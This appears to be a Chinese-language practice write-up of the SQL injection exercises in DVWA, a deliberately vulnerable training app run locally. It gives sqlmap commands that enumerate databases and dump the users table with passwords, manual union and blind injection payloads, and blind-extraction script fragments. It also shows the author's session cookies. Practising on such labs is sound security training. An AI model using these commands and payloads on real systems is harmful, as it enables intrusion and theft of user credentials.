DVWA练习(SQL Injection)

SQL Injection-Low

抓包
image-20220415011925419

直接用sqlmap

sqlmap -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=ad&Submit=Submit#" --dbs
image-20220415011952778

说明需要上传cookie,加上抓包的cookie即可

sqlmap -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=ad&Submit=Submit#" --cookie="security=low; deviceid=1637736638476; xinhu_mo_adminid=tlt0tln0jm0vj0tll0at0jo0vf0aj0mt0fl0tlv0aa0ja0ah0mj011; xinhu_ca_adminuser=admin; xinhu_ca_rempass=1; xinhu_ca_adminpass=zz0er0zg0dii0ze0qe0ec0cb01; PHPSESSID=kbnfql7gssetlsjdcvp8btvr13" --dbs
image-20220415012023569

爆表:


sqlmap -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=ad&Submit=Submit#" --cookie="security=low; deviceid=1637736638476; xinhu_mo_adminid=tlt0tln0jm0vj0tll0at0jo0vf0aj0mt0fl0tlv0aa0ja0ah0mj011; xinhu_ca_adminuser=admin; xinhu_ca_rempass=1; xinhu_ca_adminpass=zz0er0zg0dii0ze0qe0ec0cb01; PHPSESSID=kbnfql7gssetlsjdcvp8btvr13" -D dvwa –tables
image-20220415012047969

爆列:

sqlmap -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=ad&Submit=Submit#" --cookie="security=low; deviceid=1637736638476; xinhu_mo_adminid=tlt0tln0jm0vj0tll0at0jo0vf0aj0mt0fl0tlv0aa0ja0ah0mj011; xinhu_ca_adminuser=admin; xinhu_ca_rempass=1; xinhu_ca_adminpass=zz0er0zg0dii0ze0qe0ec0cb01; PHPSESSID=kbnfql7gssetlsjdcvp8btvr13" -D dvwa -T users –columns
image-20220415012103755

爆字段:

sqlmap -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=ad&Submit=Submit#" --cookie="security=low; deviceid=1637736638476; xinhu_mo_adminid=tlt0tln0jm0vj0tll0at0jo0vf0aj0mt0fl0tlv0aa0ja0ah0mj011; xinhu_ca_adminuser=admin; xinhu_ca_rempass=1; xinhu_ca_adminpass=zz0er0zg0dii0ze0qe0ec0cb01; PHPSESSID=kbnfql7gssetlsjdcvp8btvr13" -D dvwa -T users -C user,password –dump
image-20220415012118950

SQL Injection-Medium

抓包,post方式提交数据

image-20220415012132436

把包保存到本地,用sqlmap注入

sqlmap -r C:\Users\丷木丷\Desktop\post.txt –dbs查库
image-20220415012146073

和low一样的操作查后续信息

sqlmap -r C:\Users\丷木丷\Desktop\post.txt -D dvwa –tables查表
image-20220415012152768
sqlmap -r C:\Users\丷木丷\Desktop\post.txt -D dvwa -T users –columns查列
image-20220415012208701
sqlmap -r C:\Users\丷木丷\Desktop\post.txt -D dvwa -T users -C user,user_id --dump
image-20220415012222670

SQL Injection-High

image-20220415012231790

抓包,尝试手注

image-20220415012324805

回显两个数据,说明有两个注入点

image-20220415012355929
查数据库:1' union select 1,database()#
image-20220415012400865
查表:1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#,报错
image-20220415012441759

没能解决这个问题,换一个思路,用sqlmap

抓包保存,由于题目在弹出的窗口上写入注入语句,在原来的网页回显,所以要设置重定向的网络

sqlmap -r C:\Users\丷木丷\Desktop\post2.txt --second-url "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/" –dbs
image-20220415012454901

后续步骤和前面的两题相同

SQL Injection (Blind)-Low

无过滤get盲注

1' and (length(database())>3 and length(database())<5)#
image-20220415012520420

说明数据库长度为4

1’ and ascii(substr(database(),1,1))=100#
image-20220415012525108

说明数据库第一个字母为d

结合脚本爆破数据库名:

抓包获取url和cookie,加入请求头

image-20220415012554111

修改注入字段得到查表脚本:

inner = "?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),%u,1))=%u %%23&Submit=Submit#"
image-20220415012622039

SQL Injection (Blind)-Medium

有过滤post盲注

结合burpsuite和脚本进行注入:id=1 and 1=1#&Submit=Submit

image-20220415012639939

burpsuite爆破库长度

image-20220415012657971

简单数字爆破

image-20220415012703391

返回长度判断长度为4

image-20220415012707835

脚本爆破库名

image-20220415012745679

类似low,爆破表名:

inner = "1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),%u,1))=%u #"
image-20220415012802867

SQL Injection (Blind)-High

把提交数据和回显数据分开输入与返回,有效加大了脚本注入的难度,采用手注

image-20220415012825557
1' and length(database())>4#
image-20220415012833176
1' and length(database())=4#
image-20220415012847028

库名长为4

后续注入和前面相同